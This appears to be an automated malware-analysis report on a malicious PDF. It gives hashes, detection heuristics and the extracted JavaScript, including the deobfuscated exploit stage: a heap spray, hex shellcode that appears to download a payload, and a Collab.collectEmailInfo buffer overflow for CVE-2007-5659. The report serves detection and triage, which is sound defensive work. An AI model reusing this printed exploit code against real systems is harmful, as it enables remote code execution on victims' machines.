Malicious PDF — malware analysis report

Static analysis result for SHA-256 ace3a957959f7238…

MALICIOUS

PDF

32.4 KB Created: 2012-08-07 10:10:40 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2013-05-18
MD5: 54216f909aa3a40d349beba4eb9192be SHA-1: 833cb4cee9ba66c178fbc478a4030778c04d6428 SHA-256: ace3a957959f723869aa787c8d8616a39d2cba1992a134c74ab0342d7ea29cd0
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript is being used to execute arbitrary code, likely to download and run a second-stage payload. The extracted artifact 'javascript_obj0106_000.js' further supports this, although its content is too obfuscated to determine the exact payload. The benign URLs present do not detract from the suspicious nature of the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9974

Heuristics 6

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    app.eval(aDFsdfasd);
}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x7F11 658 bytes
SHA-256: e60ffdebe11306e77bcf9401ab0aba802de323a0ea579514081c2a66307c06fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 9 of 17 identifiers look randomly generated (e.g. 'abcdefghijklmnopqrstuvwxyz_0123456789') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function hwetgfsgdsfgdsf(){
var alphabet = ':ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ()[]^abcdefghijklmnopqrstuvwxyz_0123456789/!%+-*.,;"=<>'+'&'+'\\';
function cryptSymbolToSymbol(cryptSymbol){
var symbol="";
var posSymbol=alphabet.indexOf(cryptSymbol)-2;
if (posSymbol<0)
{posSymbol=posSymbol+alphabet.length;}
symbol=alphabet.charAt(posSymbol);
return symbol;}
function decryptText(text){
var decryptedText="";
var ln = text.length;
for (var i = 0;i<ln-1;i++)
{
decryptedText += cryptSymbolToSymbol(text[i]);
}
return decryptedText;}
var b2=getField("Text1");
var aDFsdfasd=b2.value;
var aDFsdfasd=decryptText(aDFsdfasd);

app.eval(aDFsdfasd);
}
hwetgfsgdsfgdsf();
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 2) at offset 0x4E4 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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